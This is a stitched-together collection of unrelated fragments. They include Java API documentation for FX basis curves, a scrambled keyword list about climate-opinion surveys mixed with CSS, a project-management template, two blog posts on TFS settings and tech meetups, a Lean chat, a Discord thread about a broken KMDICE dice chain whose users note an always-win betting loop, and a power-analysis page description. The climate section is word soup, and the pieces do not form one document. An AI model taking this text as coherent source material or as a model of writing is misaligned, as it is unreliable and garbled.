customTweakManifestMeasure, customTweakQuantificationMetric, lsmm, parallelShiftManifestMeasure, parallelShiftQuantificationMetric, shiftManifestMeasure
public abstract JulianDate spotDate()
public abstract double fxSpot()
public abstract CurrencyPair currencyPair()
public abstract double[] zeroBasis(ValuationParams valParam, DiscountCurve dcNum, DiscountCurve dcDenom, boolean bBasisOnDenom)
valParam
- ValuationParamsdcNum
- Discount Curve NumeratordcDenom
- Discount Curve DenominatorbBasisOnDenom
- True if the basis is calculated on the denominator discount curvepublic abstract double[] bootstrapBasis(ValuationParams valParam, DiscountCurve dcNum, DiscountCurve dcDenom, boolean bBasisOnDenom)
valParam
- ValuationParamsdcNum
- Discount Curve NumeratordcDenom
- Discount Curve DenominatorbBasisOnDenom
- True if the basis is calculated on the denominator discount curvepublic abstract DiscountCurve bootstrapBasisDC(ValuationParams valParam, DiscountCurve dcNum, DiscountCurve dcDenom, boolean bBasisOnDenom)
valParam
- ValuationParamsdcNum
- Discount Curve NumeratordcDenom
- Discount Curve DenominatorbBasisOnDenom
- True if the basis is calculated on the denominator discount curvepublic abstract double[] impliedNodeRates(ValuationParams valParam, DiscountCurve dcNum, DiscountCurve dcDenom, boolean bBasisOnDenom)
valParam
- ValuationParamsdcNum
- Discount Curve NumeratordcDenom
- Discount Curve DenominatorbBasisOnDenom
- True if the basis is calculated on the denominator discount curvepublic abstract double rate(ValuationParams valParam, DiscountCurve dcNum, DiscountCurve dcDenom, double dblDate, boolean bBasisOnDenom) throws java.lang.Exception
valParam
- ValuationParamsdcNum
- Discount Curve NumeratordcDenom
- Discount Curve DenominatordblDate
- Date to which the implied rate is soughtbBasisOnDenom
- True if the implied rate is calculated on the denominator discount curvejava.lang.Exception
- Thrown if the implied rate cannot be calculated


climate surveys New change effects data Hampshire Fig political {border-style scientific odds px;} response #ffffff;} Hamilton global Climate Table public *** consensus Change Public education now/human CERA/CAFOR Research Survey party questions survey different question (CERA) additional significant time American Carsey Click LINK Science caused file. human individual series warming weather CERA Dataset local mainly perceptions regional responses surveys, temperature Environmental National University anthropogenic belief change. climate-change format). happening interviews national predictors px; ratios variables variation {font-family America GSP Oregon Social Weather, beliefs font-size higher now, surveys. (DTA) (Stata CAFOR Center GSS General Gulf Hampshire, Political Rural School Society conducted double; education, interviews) main models place place-to-place politics probability regression telephone warming. < ./WCAS-D--. B). Climate, Coast County, File Granite Politics Poll State UNH United age, agreement beliefs. border-color border-width daily described education. effects, effects. environmental greater however, individual-level information interaction minor nationwide partisan point represent science solid; state term upward variations views weights year {font-style {font-weight (PDF) (pdf (variable Alaska Climatic Data Democrats Dunlap Durham, Environment Hartter Institute International McCright NCERA NCERA, Opinion Probability Safford Stata States [], acceptance activities activities. adjusted agree analysis asked available background bold calculated characteristics college concern confidence counties, courier; dummy education× effect em; future gender, iMediaEthics include interactions logistic opinion. percentages plots prove provides pt;} representative respondent sampling scientists small statements statewide substantial supported


Manage your projects
Description
Client: {{ project.client.name }}
Category: {{ project.category.name }}
Delivery date: {{ project.delivery_date }}
Pricing
Price: € {{ project.price }}
Price method: {{ project.price_method }}
Sales tax: {{ project.sales_tax }}%
Total price (incl taxes): € {{ project.total_price }}
Status
You have no projects yet.


--- layout: post title: Quickly change the TFS Integration Platform settings date: '2015-08-25T13:56:00.001+01:00' author: Matteo Emili tags: modified_time: '2015-08-25T13:56:10.504+01:00' thumbnail: http://lh3.googleusercontent.com/-GBNeMmEyau4/Vdxl6D-_91I/AAAAAAAACP8/jfScAFh60H8/s72-c/image_thumb%25255B1%25255D.png?imgmax=800 blogger_id: tag:blogger.com,1999:blog-9050180307874313601.post-4490319439552721761 blogger_orig_url: https://mattvsts.blogspot.com/2015/08/quickly-change-tfs-integration-platform.html ---
You installed the TFS Integration Platform, and now you want to move your database. Or you want to change the temporary folder used during the migrations.

No, what you need to do is to modify some strings in the MigrationToolServers.config file:


Sf.js
I recently went to the Bay Area to visit my brother and got a chance to go to some meetups and mingle with the local nerdfolk. Here’s a summary of the meetups I attended and what I learned:
Electron Meetup
The first meetup was for the exciting new Node.js-based framework Electron. It lets you build desktop apps in HTML/CSS/JS and then distribute it to Windows/OS X/Linux. I’ve been playing around with it, so I was excited to hear more about it, especially since two of the presenters were from Github and part of the Electron team.
The first presentation was a primer on new features added to Electron. The project only recently hit version 1.0 and it’s still under heavy development. I think for anyone using it in production it’s going to be important to keep track of development and the direction the team goes.
Next we had a demo of building an Electron app to send commands to a robot. All the serious code was handled by pre-existing Node.js plug-ins, but it was a fun demo (showing off the Sphero BB-8 robot), and shows how easy it is to quickly build a desktop GUI app using Node.js packages.
The most interesting presentation from a technological perspective was from a member of the Slack team, showing off their new project Electron-Compile. It’s a way to simplify the transpilation of source code into HTML/CSS/JS during development of an Electron app. Much time was spent demonstrating the cleverness of the team in achieving this, which I can’t reproduce here. It was most impressive, and definitely something I will look into using for my next Electron project.
And finally, the most entertaining presentation from the presenter with the most flair, Guillermo Rauch basically showed off his nifty new Electron-based terminal emulator, Hyper.app (until a recent cease & desist known as HyperTerm). I didn’t really learn much knew, as I was already familiar with the project, but I was dazzled by the things he could do with it. I highly recommend checking out Hyper.app and playing around with it. I would describe it as the Atom of terminal emulators.
TypeScript
My next meetup was at Google’s SF Headquarters to learn about TypeScript, last year’s hot new language to transpile to JavaScript that I haven’t heard much on since. I have a lot less to say about this presentation, as it it simply wasn’t as interesting. The main thing that I learned from it is that, contrary to what I’d heard before, the main advantage of TypeScript is not avoiding type errors at runtime but actually to allow for better tooling (specifically better IntelliSense code-completion in Visual Studio/VS Code). It makes sense now why Microsoft would create and push TypeScript, as it seems well married to their text editors.
NodeSchool SF
Finally, while not a true meetup, I attended
NodeSchool SF, an open workshop for learning more
about Node.js. I attended a special workshop there on contributing to the
Node.js core codebase. There, I found that I had a little trouble actually
Node.js from source because on my Arch Linux installation Python 3 is named
simply python
, and the Node.js make files expect Python 2. I finally got
around this by temporarily symlinking python2
to python
and overriding my
usual $PATH
. After getting it compiled, my first commit to the Node.js
project was a modification to the documentation regarding building it.
Just getting my feet wet, to be sure, but a satisfying feeling.


--- layout: archive title: Zulip Chat Archive permalink: /stream/113488-general/topic/Resolving.20goals.20containing.20existential.20quantifiers.html ---
In the natural number game, the use
keyword resolves goals which contain existential quantifiers by assigning a concrete value to the quantified variable. Using Lean by itself it looks like use
isn't available; what do you do instead?
I might be wrong but I think what you're looking for is called existsi
Using Lean by itself is usually a bad idea. The tactic use
is provided in mathlib, along with everything else.
use
is a mathlib tactic. import tactic
and you'll get it
Thanks everyone!
{% endraw %}Last updated: Apr 24 2020 at 19:02 UTC


Decker05-Nov-18 07:19 PM
seems this RBhtg has a good patience ))
siu - Chainmakers05-Nov-18 07:20 PM
since the house address got corrupted by the changes in the code and the bombarding with spam txs, the fund is designed to give a player an automatic win if the house doesnt complete the bet
or the play
Llama05-Nov-18 07:21 PM
oh
how is it being fixed?
siu - Chainmakers05-Nov-18 07:21 PM
We are going to do a new chain
This one will be used for laboratory purposes to see what went wrong and how it can evaded in the future.
ciumete05-Nov-18 07:22 PM
u public the final snapshot ?
siu - Chainmakers05-Nov-18 07:23 PM
yes
ciumete05-Nov-18 07:23 PM
the snapshot will be for all transaction who have a minimum 1 confirmation ?
Llama05-Nov-18 07:24 PM
I just want to be able to send my kmdice
on windows
jl777c05-Nov-18 07:47 PM
at least all the miners seem to know about the snapshot. problem is most seem to have bailed out, stuck at 26983
diff stranded
Alright05-Nov-18 07:48 PM
So uhhh
jl777c05-Nov-18 07:48 PM
maybe the snapshot is as of that height
Alright05-Nov-18 07:48 PM
you guys taking my coins?
Don't really mind tbh, just curious what the deal is
jl777c05-Nov-18 07:48 PM
it was announced not to abuse the dealer node
Alright05-Nov-18 07:48 PM
Well I was the one that found it was broken
didn't intentionally abuse it
jl777c05-Nov-18 07:49 PM
the coins that were obtained before the announcement will be allowed
willing to give some more of these coins to a "dev fund" if we have a need
siu - Chainmakers05-Nov-18 07:55 PM
This is the other address, i believe this is Alrights address
Well, ok... this is the thing... new chain will have a dev fund
Alright05-Nov-18 07:56 PM
ok so is the balance of that address changing?(edited)
siu - Chainmakers05-Nov-18 07:56 PM
all above the 10million mark will be moved to chainmakers multisig address to be used for development and bounties.
seems to be stuck at at the same balance
ComputerGenie 👴👴👴05-Nov-18 07:57 PM
define "spam"....
I think the fastest my script ever played was 1 bet every 5 secs (because it never confirms faster than that)
jl777c05-Nov-18 07:57 PM
chain is stuck, at current hashrate will likely take hours per block
siu - Chainmakers05-Nov-18 07:57 PM
but since there is no blocks being mined, txs are no confiming
jl777c05-Nov-18 07:57 PM
i think snapshot the current block, we wont be seeing new blocks for a long time
spam would be any amount of bets that cant be processed in time
spam is not the right word
Decker05-Nov-18 07:58 PM
i can little bit boost hashrate for a few minutes, if needed ...
jl777c05-Nov-18 07:58 PM
4Msols?
Decker05-Nov-18 07:58 PM
possible ...
jl777c05-Nov-18 07:58 PM
17 blocks not really needed, close enough to 27k, isnt it?
"spam" -> "overload"
ComputerGenie 👴👴👴05-Nov-18 07:58 PM
spam would be any amount of bets that cant be processed in time
well, fek, for the last week, that's anything > 1 bet per day
siu - Chainmakers05-Nov-18 07:59 PM
i think the only 2 addresses having most of the funds after the node broke where from @ComputerGenie 👴👴👴 and @Alright i know none of them have malicious intent
jl777c05-Nov-18 07:59 PM
the combined activity of all the dicebet got the dealer node into a bad state
siu - Chainmakers05-Nov-18 07:59 PM
actually @Alright was the one who notified us and was helping us.
ciumete05-Nov-18 07:59 PM
better do now the snapshot if the blockchain is stuck, no need to waste boost hashrate
jl777c05-Nov-18 07:59 PM
with memory access troubles, indicative of some internal buffer overflowing
assuming I can duplicate it, i will fix it tomorrow
Alright05-Nov-18 07:59 PM
I thought it was fixed and had mentioned it to genie. Wouldn't have said anything if I realized it was still broken
jorian had restarted the dealer and it started working for a few minutes
jl777c05-Nov-18 08:00 PM
it could be fixed
siu - Chainmakers05-Nov-18 08:00 PM
the thing was that genie did 0.1 bets at 1500 odds... which returned him 150 KMDICE per block for the last 24 hours or so... which is quite a lot.
jl777c05-Nov-18 08:00 PM
for a fresh node with the latest codefixes
Decker05-Nov-18 08:00 PM
i think better to do all "spamming" tests on a test chain ... we don't need to do experiments that hurts house / chain on main chain.
jl777c05-Nov-18 08:00 PM
the problem is that the dealer node went through all the bets with different versions running
yes, there will be a time for a load test
but when a small number of bets overloads, that is not yet the time to break it even more
siu - Chainmakers05-Nov-18 08:01 PM
without the spamming and the changes we would have not got to this, so i guess that is good in a way.
And we actually dared people to break it
jl777c05-Nov-18 08:01 PM
I will also optimize the dealer node handling so it can handle totally full blocks
Decker05-Nov-18 08:01 PM
we can easily launch DICETST for tests with the same params as the real chain and do any kind of tests on it ...
jl777c05-Nov-18 08:01 PM
yes, it is good we found these limits
Alright05-Nov-18 08:01 PM
Joker and I have noticed that if you use every entropy UTXO available in a block, you always win
siu - Chainmakers05-Nov-18 08:02 PM
although i think the ultimate breaking point was the changes @jl777c did heheh
ComputerGenie 👴👴👴05-Nov-18 08:02 PM
which returned him 150 KMDICE per block for the last 24 hours or so... which is quite a lot
1) it wasn't "per block"
2) I told you that I have no clue where it came from, so if it's from time-outs, or whatever, take the 29k back out of the 2nd snapshot
Alright05-Nov-18 08:02 PM
like the odds are in your favor if you do that
while true; do; bet; done
free money
jl777c05-Nov-18 08:03 PM
the latest version should orphan bets, but clearly there are some load based issues, and running out of utxo issues
is it that if all utxo are used up, the dealer node gets confused and doesnt see some dicebet and it times out?
siu - Chainmakers05-Nov-18 08:03 PM
What we could do is use these funds or part of them (the ones from draining the fund these last hours) and do an airdrop to KMD holders
that way we get everyone to give it a test in the new chain.
Alright05-Nov-18 08:04 PM
sure
is not many coins compared to KMD's supply though
siu - Chainmakers05-Nov-18 08:04 PM
If its good with you guys.
Alright05-Nov-18 08:04 PM
ComputerGenie 👴👴👴05-Nov-18 08:04 PM
works for me; I'm not out to screw anyone, got better things to do
siu - Chainmakers05-Nov-18 08:04 PM
i guess at least 0.05 or 0.10 for eachone is enough.
jl777c05-Nov-18 08:04 PM
110k KMDICE -> 1:1000 KMD would at least get people a taste of the KMDICE
siu - Chainmakers05-Nov-18 08:05 PM
@ComputerGenie 👴👴👴 im not assuming you screwed someone, that is not the point.


This screen performs "after the fact" power analyses. After you have performed a statistical analysis and have a p-value, this screen tells you: (1) the power of your original analysis to detect this difference with this sample size, (2) the minimum difference detectable with a sample this size, and (3) the minimum sample size to detect this difference. This sort of analysis is most often done after a non-significant (p>0.05) result has been obtained, although it can be used with any value for p.
It should be noted that the whole idea of retrospective power calculations is a controversial one. Purists maintain that the very concept is meaningless, and that power calculations must be performed prior to the execution of the experiment. (Download the PDF document by Russel Lenth to get this side of the story. And anyone feeling that they need to do one of these calculations might want to first check out Richard Stevens' interesting web page, which can be thought of as a "pre-retrospective-power-calculation screening test", to see if you really need to do one.) Yet the major statistical software products (SAS, SPSS, etc.) routinely provide this kind of post-hoc analysis. It is perhaps best thought of as using the results of your just-completed experiment as if it were a pilot run to help you design your next experiment. Anyway, for good or for bad, here's a web page that carries out a typical set of basic retrospective power calculations.
This method used here is based on formulas for comparing two large unpaired samples, but it appears to be applicable to a wide variety of two-variable tests.
Note: Before using this page for the first time, make sure you read the
JavaStat user interface guidelines for important
information about interacting with JavaStat pages.